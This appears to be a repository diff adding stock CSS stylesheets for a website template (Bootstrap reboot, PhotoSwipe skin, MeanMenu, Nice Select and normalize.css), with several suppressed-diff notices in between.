[type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}
|
||||
/*# sourceMappingURL=bootstrap-reboot.min.css.map */
|
||||
File diff suppressed because one or more lines are too long
+8950
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,614 @@
|
||||
/*! PhotoSwipe Default UI CSS by Dmitry Semenov | photoswipe.com | MIT license */
|
||||
/*
|
||||
Contents:
|
||||
1. Buttons
|
||||
2. Share modal and links
|
||||
3. Index indicator ("1 of X" counter)
|
||||
4. Caption
|
||||
5. Loading indicator
|
||||
6. Additional styles (root element, top bar, idle state, hidden state, etc.)
|
||||
*/
|
||||
/* 1. Buttons */
|
||||
|
||||
/* <button> css reset */
|
||||
|
||||
.pswp__button {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
position: relative;
|
||||
background: none;
|
||||
cursor: pointer;
|
||||
overflow: visible;
|
||||
-webkit-appearance: none;
|
||||
display: block;
|
||||
border: 0;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
float: right;
|
||||
opacity: 0.75;
|
||||
-webkit-transition: opacity 0.2s;
|
||||
transition: opacity 0.2s;
|
||||
-webkit-box-shadow: none;
|
||||
box-shadow: none;
|
||||
}
|
||||
|
||||
.pswp__button:focus,
|
||||
.pswp__button:hover {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.pswp__button:active {
|
||||
outline: none;
|
||||
opacity: 0.9;
|
||||
}
|
||||
|
||||
.pswp__button::-moz-focus-inner {
|
||||
padding: 0;
|
||||
border: 0;
|
||||
}
|
||||
|
||||
|
||||
/* pswp__ui--over-close class it added when mouse is over element that should close gallery */
|
||||
|
||||
.pswp__ui--over-close .pswp__button--close {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.pswp__button,
|
||||
.pswp__button--arrow--left:before,
|
||||
.pswp__button--arrow--right:before {
|
||||
background: url(default-skin.png) 0 0 no-repeat;
|
||||
background-size: 264px 88px;
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
}
|
||||
|
||||
@media (-webkit-min-device-pixel-ratio: 1.1),
|
||||
(-webkit-min-device-pixel-ratio: 1.09375),
|
||||
(min-resolution: 105dpi),
|
||||
(min-resolution: 1.1dppx) {
|
||||
/* Serve SVG sprite if browser supports SVG and resolution is more than 105dpi */
|
||||
.pswp--svg .pswp__button,
|
||||
.pswp--svg .pswp__button--arrow--left:before,
|
||||
.pswp--svg .pswp__button--arrow--right:before {
|
||||
background-image: url(default-skin.svg);
|
||||
}
|
||||
.pswp--svg .pswp__button--arrow--left,
|
||||
.pswp--svg .pswp__button--arrow--right {
|
||||
background: none;
|
||||
}
|
||||
}
|
||||
|
||||
.pswp__button--close {
|
||||
background-position: 0 -44px;
|
||||
}
|
||||
|
||||
.pswp__button--share {
|
||||
background-position: -44px -44px;
|
||||
}
|
||||
|
||||
.pswp__button--fs {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.pswp--supports-fs .pswp__button--fs {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.pswp--fs .pswp__button--fs {
|
||||
background-position: -44px 0;
|
||||
}
|
||||
|
||||
.pswp__button--zoom {
|
||||
display: none;
|
||||
background-position: -88px 0;
|
||||
}
|
||||
|
||||
.pswp--zoom-allowed .pswp__button--zoom {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.pswp--zoomed-in .pswp__button--zoom {
|
||||
background-position: -132px 0;
|
||||
}
|
||||
|
||||
|
||||
/* no arrows on touch screens */
|
||||
|
||||
.pswp--touch .pswp__button--arrow--left,
|
||||
.pswp--touch .pswp__button--arrow--right {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Arrow buttons hit area
|
||||
(icon is added to :before pseudo-element)
|
||||
*/
|
||||
|
||||
.pswp__button--arrow--left,
|
||||
.pswp__button--arrow--right {
|
||||
background: none;
|
||||
top: 50%;
|
||||
margin-top: -50px;
|
||||
width: 70px;
|
||||
height: 100px;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--left {
|
||||
left: 0;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--right {
|
||||
right: 0;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--left:before,
|
||||
.pswp__button--arrow--right:before {
|
||||
content: '';
|
||||
top: 35px;
|
||||
background-color: rgba(0, 0, 0, 0.3);
|
||||
height: 30px;
|
||||
width: 32px;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--left:before {
|
||||
left: 6px;
|
||||
background-position: -138px -44px;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--right:before {
|
||||
right: 6px;
|
||||
background-position: -94px -44px;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
2. Share modal/popup and links
|
||||
|
||||
*/
|
||||
|
||||
.pswp__counter,
|
||||
.pswp__share-modal {
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.pswp__share-modal {
|
||||
display: block;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
top: 0;
|
||||
left: 0;
|
||||
padding: 10px;
|
||||
position: absolute;
|
||||
z-index: 1600;
|
||||
opacity: 0;
|
||||
-webkit-transition: opacity 0.25s ease-out;
|
||||
transition: opacity 0.25s ease-out;
|
||||
-webkit-backface-visibility: hidden;
|
||||
will-change: opacity;
|
||||
}
|
||||
|
||||
.pswp__share-modal--hidden {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip {
|
||||
z-index: 1620;
|
||||
position: absolute;
|
||||
background: #FFF;
|
||||
top: 56px;
|
||||
border-radius: 2px;
|
||||
display: block;
|
||||
width: auto;
|
||||
right: 44px;
|
||||
-webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
|
||||
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
|
||||
-webkit-transform: translateY(6px);
|
||||
-ms-transform: translateY(6px);
|
||||
transform: translateY(6px);
|
||||
-webkit-transition: -webkit-transform 0.25s;
|
||||
transition: transform 0.25s;
|
||||
-webkit-backface-visibility: hidden;
|
||||
will-change: transform;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip a {
|
||||
display: block;
|
||||
padding: 8px 12px;
|
||||
color: #000;
|
||||
text-decoration: none;
|
||||
font-size: 14px;
|
||||
line-height: 18px;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip a:hover {
|
||||
text-decoration: none;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip a:first-child {
|
||||
/* round corners on the first/last list item */
|
||||
border-radius: 2px 2px 0 0;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip a:last-child {
|
||||
border-radius: 0 0 2px 2px;
|
||||
}
|
||||
|
||||
.pswp__share-modal--fade-in {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.pswp__share-modal--fade-in .pswp__share-tooltip {
|
||||
-webkit-transform: translateY(0);
|
||||
-ms-transform: translateY(0);
|
||||
transform: translateY(0);
|
||||
}
|
||||
|
||||
|
||||
/* increase size of share links on touch devices */
|
||||
|
||||
.pswp--touch .pswp__share-tooltip a {
|
||||
padding: 16px 12px;
|
||||
}
|
||||
|
||||
a.pswp__share--facebook:before {
|
||||
content: '';
|
||||
display: block;
|
||||
width: 0;
|
||||
height: 0;
|
||||
position: absolute;
|
||||
top: -12px;
|
||||
right: 15px;
|
||||
border: 6px solid transparent;
|
||||
border-bottom-color: #FFF;
|
||||
-webkit-pointer-events: none;
|
||||
-moz-pointer-events: none;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
a.pswp__share--facebook:hover {
|
||||
background: #3E5C9A;
|
||||
color: #FFF;
|
||||
}
|
||||
|
||||
a.pswp__share--facebook:hover:before {
|
||||
border-bottom-color: #3E5C9A;
|
||||
}
|
||||
|
||||
a.pswp__share--twitter:hover {
|
||||
background: #55ACEE;
|
||||
color: #FFF;
|
||||
}
|
||||
|
||||
a.pswp__share--pinterest:hover {
|
||||
background: #CCC;
|
||||
color: #CE272D;
|
||||
}
|
||||
|
||||
a.pswp__share--download:hover {
|
||||
background: #DDD;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
3. Index indicator ("1 of X" counter)
|
||||
|
||||
*/
|
||||
|
||||
.pswp__counter {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
height: 44px;
|
||||
font-size: 13px;
|
||||
line-height: 44px;
|
||||
color: #FFF;
|
||||
opacity: 0.75;
|
||||
padding: 0 10px;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
4. Caption
|
||||
|
||||
*/
|
||||
|
||||
.pswp__caption {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
min-height: 44px;
|
||||
}
|
||||
|
||||
.pswp__caption small {
|
||||
font-size: 11px;
|
||||
color: #BBB;
|
||||
}
|
||||
|
||||
.pswp__caption__center {
|
||||
text-align: left;
|
||||
max-width: 420px;
|
||||
margin: 0 auto;
|
||||
font-size: 13px;
|
||||
padding: 10px;
|
||||
line-height: 20px;
|
||||
color: #CCC;
|
||||
}
|
||||
|
||||
.pswp__caption--empty {
|
||||
display: none;
|
||||
}
|
||||
|
||||
|
||||
/* Fake caption element, used to calculate height of next/prev image */
|
||||
|
||||
.pswp__caption--fake {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
5. Loading indicator (preloader)
|
||||
|
||||
You can play with it here - http://codepen.io/dimsemenov/pen/yyBWoR
|
||||
|
||||
*/
|
||||
|
||||
.pswp__preloader {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 50%;
|
||||
margin-left: -22px;
|
||||
opacity: 0;
|
||||
-webkit-transition: opacity 0.25s ease-out;
|
||||
transition: opacity 0.25s ease-out;
|
||||
will-change: opacity;
|
||||
direction: ltr;
|
||||
}
|
||||
|
||||
.pswp__preloader__icn {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
margin: 12px;
|
||||
}
|
||||
|
||||
.pswp__preloader--active {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.pswp__preloader--active .pswp__preloader__icn {
|
||||
/* We use .gif in browsers that don't support CSS animation */
|
||||
background: url(preloader.gif) 0 0 no-repeat;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader--active {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader--active .pswp__preloader__icn {
|
||||
-webkit-animation: clockwise 500ms linear infinite;
|
||||
animation: clockwise 500ms linear infinite;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader--active .pswp__preloader__donut {
|
||||
-webkit-animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
|
||||
animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader__icn {
|
||||
background: none;
|
||||
opacity: 0.75;
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
position: absolute;
|
||||
left: 15px;
|
||||
top: 15px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader__cut {
|
||||
/*
|
||||
The idea of animating inner circle is based on Polymer ("material") loading indicator
|
||||
by Keanu Lee https://blog.keanulee.com/2014/10/20/the-tale-of-three-spinners.html
|
||||
*/
|
||||
position: relative;
|
||||
width: 7px;
|
||||
height: 14px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader__donut {
|
||||
-webkit-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
border: 2px solid #FFF;
|
||||
border-radius: 50%;
|
||||
border-left-color: transparent;
|
||||
border-bottom-color: transparent;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
background: none;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 1024px) {
|
||||
.pswp__preloader {
|
||||
position: relative;
|
||||
left: auto;
|
||||
top: auto;
|
||||
margin: 0;
|
||||
float: right;
|
||||
}
|
||||
}
|
||||
|
||||
@-webkit-keyframes clockwise {
|
||||
0% {
|
||||
-webkit-transform: rotate(0deg);
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
-webkit-transform: rotate(360deg);
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes clockwise {
|
||||
0% {
|
||||
-webkit-transform: rotate(0deg);
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
-webkit-transform: rotate(360deg);
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
@-webkit-keyframes donut-rotate {
|
||||
0% {
|
||||
-webkit-transform: rotate(0);
|
||||
transform: rotate(0);
|
||||
}
|
||||
50% {
|
||||
-webkit-transform: rotate(-140deg);
|
||||
transform: rotate(-140deg);
|
||||
}
|
||||
100% {
|
||||
-webkit-transform: rotate(0);
|
||||
transform: rotate(0);
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes donut-rotate {
|
||||
0% {
|
||||
-webkit-transform: rotate(0);
|
||||
transform: rotate(0);
|
||||
}
|
||||
50% {
|
||||
-webkit-transform: rotate(-140deg);
|
||||
transform: rotate(-140deg);
|
||||
}
|
||||
100% {
|
||||
-webkit-transform: rotate(0);
|
||||
transform: rotate(0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
6. Additional styles
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/* root element of UI */
|
||||
|
||||
.pswp__ui {
|
||||
-webkit-font-smoothing: auto;
|
||||
visibility: visible;
|
||||
opacity: 1;
|
||||
z-index: 1550;
|
||||
}
|
||||
|
||||
|
||||
/* top black bar with buttons and "1 of X" indicator */
|
||||
|
||||
.pswp__top-bar {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
height: 44px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.pswp__caption,
|
||||
.pswp__top-bar,
|
||||
.pswp--has_mouse .pswp__button--arrow--left,
|
||||
.pswp--has_mouse .pswp__button--arrow--right {
|
||||
-webkit-backface-visibility: hidden;
|
||||
will-change: opacity;
|
||||
-webkit-transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
|
||||
transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
|
||||
}
|
||||
|
||||
|
||||
/* pswp--has_mouse class is added only when two subsequent mousemove events occur */
|
||||
|
||||
.pswp--has_mouse .pswp__button--arrow--left,
|
||||
.pswp--has_mouse .pswp__button--arrow--right {
|
||||
visibility: visible;
|
||||
}
|
||||
|
||||
.pswp__top-bar,
|
||||
.pswp__caption {
|
||||
background-color: rgba(0, 0, 0, 0.5);
|
||||
}
|
||||
|
||||
|
||||
/* pswp__ui--fit class is added when main image "fits" between top bar and bottom bar (caption) */
|
||||
|
||||
.pswp__ui--fit .pswp__top-bar,
|
||||
.pswp__ui--fit .pswp__caption {
|
||||
background-color: rgba(0, 0, 0, 0.3);
|
||||
}
|
||||
|
||||
|
||||
/* pswp__ui--idle class is added when mouse isn't moving for several seconds (JS option timeToIdle) */
|
||||
|
||||
.pswp__ui--idle .pswp__top-bar {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.pswp__ui--idle .pswp__button--arrow--left,
|
||||
.pswp__ui--idle .pswp__button--arrow--right {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
pswp__ui--hidden class is added when controls are hidden
|
||||
e.g. when user taps to toggle visibility of controls
|
||||
*/
|
||||
|
||||
.pswp__ui--hidden .pswp__top-bar,
|
||||
.pswp__ui--hidden .pswp__caption,
|
||||
.pswp__ui--hidden .pswp__button--arrow--left,
|
||||
.pswp__ui--hidden .pswp__button--arrow--right {
|
||||
/* Force paint & create composition layer for controls. */
|
||||
opacity: 0.001;
|
||||
}
|
||||
|
||||
|
||||
/* pswp__ui--one-slide class is added when there is just one item in gallery */
|
||||
|
||||
.pswp__ui--one-slide .pswp__button--arrow--left,
|
||||
.pswp__ui--one-slide .pswp__button--arrow--right,
|
||||
.pswp__ui--one-slide .pswp__counter {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.pswp__element--disabled {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.pswp--minimal--dark .pswp__top-bar {
|
||||
background: none;
|
||||
}
|
||||
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
+1311
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,179 @@
|
||||
/*--------------------------------------------------------------------- File Name: meanmenu.css ---------------------------------------------------------------------*/
|
||||
|
||||
a.meanmenu-reveal {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.mean-container .mean-bar {
|
||||
background: #308409;
|
||||
float: left;
|
||||
min-height: 40px;
|
||||
padding: 5px 0;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
z-index: 999;
|
||||
}
|
||||
|
||||
.mean-container a.meanmenu-reveal {
|
||||
color: #fff;
|
||||
cursor: pointer;
|
||||
display: block;
|
||||
font-family: 'Roboto', sans-serif;
|
||||
font-weight: 400;
|
||||
height: 22px;
|
||||
line-height: 22px;
|
||||
position: absolute;
|
||||
right: 12px;
|
||||
text-decoration: none;
|
||||
top: 12px;
|
||||
width: 26px;
|
||||
}
|
||||
|
||||
.mean-container a.meanmenu-reveal span {
|
||||
background: #ffffff none repeat scroll 0 0;
|
||||
border-radius: 0;
|
||||
display: block;
|
||||
height: 4px;
|
||||
margin-top: 3px;
|
||||
width: auto;
|
||||
}
|
||||
|
||||
.mean-container a.meanmenu-reveal span:first-child {
|
||||
margin: 0
|
||||
}
|
||||
|
||||
.mean-container .mean-nav {
|
||||
background: #ffffff none repeat scroll 0 0;
|
||||
float: left;
|
||||
margin-top: 44px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
width: 100%;
|
||||
list-style-type: none;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a {
|
||||
border-bottom: 1px solid #ccc;
|
||||
color: #383838;
|
||||
display: block;
|
||||
float: left;
|
||||
font-size: 12px;
|
||||
font-weight: 500;
|
||||
margin: 0;
|
||||
padding: 1em 5%;
|
||||
text-align: left;
|
||||
text-decoration: none;
|
||||
text-transform: uppercase;
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a:hover {
|
||||
color: #38c8a8;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li li a {
|
||||
width: 80%;
|
||||
padding: 1em 10%;
|
||||
border-top: 1px solid #ccc;
|
||||
border-top: 1px solid #ccc;
|
||||
opacity: 1;
|
||||
filter: alpha(opacity=1);
|
||||
text-shadow: none !important;
|
||||
visibility: visible;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li.mean-last a {
|
||||
border-bottom: 1px solid #cccccc;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li li li a {
|
||||
width: 70%;
|
||||
padding: 1em 15%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li li li li a {
|
||||
width: 60%;
|
||||
padding: 1em 20%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li li li li li a {
|
||||
width: 50%;
|
||||
padding: 1em 25%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a:hover {
|
||||
` background: #252525;
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a.mean-expand {
|
||||
background: rgba(255, 255, 255, 0.1) none repeat scroll 0 0;
|
||||
border: medium none;
|
||||
font-weight: 400;
|
||||
height: 22px;
|
||||
line-height: 22px;
|
||||
margin-top: 1px;
|
||||
padding: 12px 16px;
|
||||
position: absolute;
|
||||
right: 0;
|
||||
text-align: center;
|
||||
top: -1px;
|
||||
width: 17px;
|
||||
z-index: 2;
|
||||
font-size: 18px !important;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a.mean-expand:hover {
|
||||
background: rgba(0, 0, 0, 0.9) none repeat scroll 0 0;
|
||||
color: #ffffff;
|
||||
}
|
||||
|
||||
.mean-container .mean-push {
|
||||
float: left;
|
||||
width: 100%;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
.mean-nav .wrapper {
|
||||
width: 100%;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.mean-container .mean-bar,
|
||||
.mean-container .mean-bar * {
|
||||
-webkit-box-sizing: content-box;
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
.mean-remove {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.mean-nav span {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a.mean-expand:hover,
|
||||
.mean-container .mean-nav ul li a.mean-expand:focus {
|
||||
background: #38c8a8;
|
||||
color: #ffffff;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a:hover {
|
||||
color: #308409;
|
||||
}
|
||||
@@ -0,0 +1,177 @@
|
||||
/*---------------------------------------------------------------------
|
||||
File Name: nice-select.css
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
.nice-select {
|
||||
background-color: #f6f6f6;
|
||||
border-radius: 0;
|
||||
box-sizing: border-box;
|
||||
clear: both;
|
||||
display: block;
|
||||
float: left;
|
||||
height: auto;
|
||||
outline: none;
|
||||
padding-left: 20px;
|
||||
padding-right: 35px;
|
||||
position: relative;
|
||||
-webkit-transition: all 0.2s ease-in-out;
|
||||
transition: all 0.2s ease-in-out;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
width: 50%;
|
||||
cursor: pointer;
|
||||
font-family: inherit;
|
||||
font-weight: normal;
|
||||
line-height: 50px;
|
||||
text-align: left !important;
|
||||
white-space: nowrap;
|
||||
font-weight: 300;
|
||||
}
|
||||
|
||||
.nice-select:after {
|
||||
border-bottom: 2px solid #999;
|
||||
border-right: 2px solid #999;
|
||||
content: '';
|
||||
display: block;
|
||||
height: 5px;
|
||||
margin-top: -4px;
|
||||
pointer-events: none;
|
||||
position: absolute;
|
||||
right: 12px;
|
||||
top: 50%;
|
||||
-webkit-transform-origin: 66% 66%;
|
||||
-ms-transform-origin: 66% 66%;
|
||||
transform-origin: 66% 66%;
|
||||
-webkit-transform: rotate(45deg);
|
||||
-ms-transform: rotate(45deg);
|
||||
transform: rotate(45deg);
|
||||
-webkit-transition: all 0.15s ease-in-out;
|
||||
transition: all 0.15s ease-in-out;
|
||||
width: 5px;
|
||||
}
|
||||
|
||||
.nice-select.open:after {
|
||||
-webkit-transform: rotate(-135deg);
|
||||
-ms-transform: rotate(-135deg);
|
||||
transform: rotate(-135deg);
|
||||
}
|
||||
|
||||
.nice-select.open .list {
|
||||
opacity: 1;
|
||||
pointer-events: auto;
|
||||
-webkit-transform: scale(1) translateY(0);
|
||||
-ms-transform: scale(1) translateY(0);
|
||||
transform: scale(1) translateY(0);
|
||||
}
|
||||
|
||||
.nice-select.disabled {
|
||||
border-color: #ededed;
|
||||
color: #999;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.nice-select.disabled:after {
|
||||
border-color: #cccccc;
|
||||
}
|
||||
|
||||
.nice-select.wide {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.nice-select.wide .list {
|
||||
left: 0 !important;
|
||||
right: 0 !important;
|
||||
}
|
||||
|
||||
.nice-select.right {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.nice-select.right .list {
|
||||
left: auto;
|
||||
right: 0;
|
||||
}
|
||||
|
||||
.nice-select.small {
|
||||
font-size: 12px;
|
||||
height: 36px;
|
||||
line-height: 34px;
|
||||
}
|
||||
|
||||
.nice-select.small:after {
|
||||
height: 4px;
|
||||
width: 4px;
|
||||
}
|
||||
|
||||
.nice-select.small .option {
|
||||
line-height: 34px;
|
||||
min-height: 34px;
|
||||
}
|
||||
|
||||
.nice-select .list {
|
||||
background-color: #fff;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 1px rgba(68, 68, 68, 0.11);
|
||||
box-sizing: border-box;
|
||||
margin-top: 4px;
|
||||
opacity: 0;
|
||||
overflow: hidden;
|
||||
padding: 0;
|
||||
pointer-events: none;
|
||||
position: absolute;
|
||||
top: 100%;
|
||||
left: 0;
|
||||
-webkit-transform-origin: 50% 0;
|
||||
-ms-transform-origin: 50% 0;
|
||||
transform-origin: 50% 0;
|
||||
-webkit-transform: scale(0.75) translateY(-21px);
|
||||
-ms-transform: scale(0.75) translateY(-21px);
|
||||
transform: scale(0.75) translateY(-21px);
|
||||
-webkit-transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
|
||||
transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
|
||||
z-index: 9;
|
||||
}
|
||||
|
||||
.nice-select .list:hover .option:not(:hover) {
|
||||
background-color: transparent !important;
|
||||
}
|
||||
|
||||
.nice-select .option {
|
||||
cursor: pointer;
|
||||
font-weight: 400;
|
||||
line-height: 40px;
|
||||
list-style: none;
|
||||
min-height: 40px;
|
||||
outline: none;
|
||||
padding-left: 18px;
|
||||
padding-right: 29px;
|
||||
text-align: left;
|
||||
-webkit-transition: all 0.2s;
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.nice-select .option:hover,
|
||||
.nice-select .option.focus,
|
||||
.nice-select .option.selected.focus {
|
||||
background-color: #f6f6f6;
|
||||
}
|
||||
|
||||
.nice-select .option.selected {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.nice-select .option.disabled {
|
||||
background-color: transparent;
|
||||
color: #999;
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
.no-csspointerevents .nice-select .list {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.no-csspointerevents .nice-select.open .list {
|
||||
display: block;
|
||||
}
|
||||
+427
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v6.0.0 | MIT License | github.com/necolas/normalize.css */
|
||||
|
||||
/* Document
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* 1. Correct the line height in all browsers.
|
||||
* 2. Prevent adjustments of font size after orientation changes in
|
||||
* IE on Windows Phone and in iOS.
|
||||
*/
|
||||
|
||||
html {
|
||||
line-height: 1.15; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/* Sections
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 9-.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
footer,
|
||||
header,
|
||||
nav,
|
||||
section {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct the font size and margin on `h1` elements within `section` and
|
||||
* `article` contexts in Chrome, Firefox, and Safari.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 9-.
|
||||
* 1. Add the correct display in IE.
|
||||
*/
|
||||
|
||||
figcaption,
|
||||
figure,
|
||||
main { /* 1 */
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct margin in IE 8.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Add the correct box sizing in Firefox.
|
||||
* 2. Show the overflow in Edge and IE.
|
||||
*/
|
||||
|
||||
hr {
|
||||
box-sizing: content-box; /* 1 */
|
||||
height: 0; /* 1 */
|
||||
overflow: visible; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the inheritance and scaling of font size in all browsers.
|
||||
* 2. Correct the odd `em` font sizing in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
font-family: monospace, monospace; /* 1 */
|
||||
font-size: 1em; /* 2 */
|
||||
}
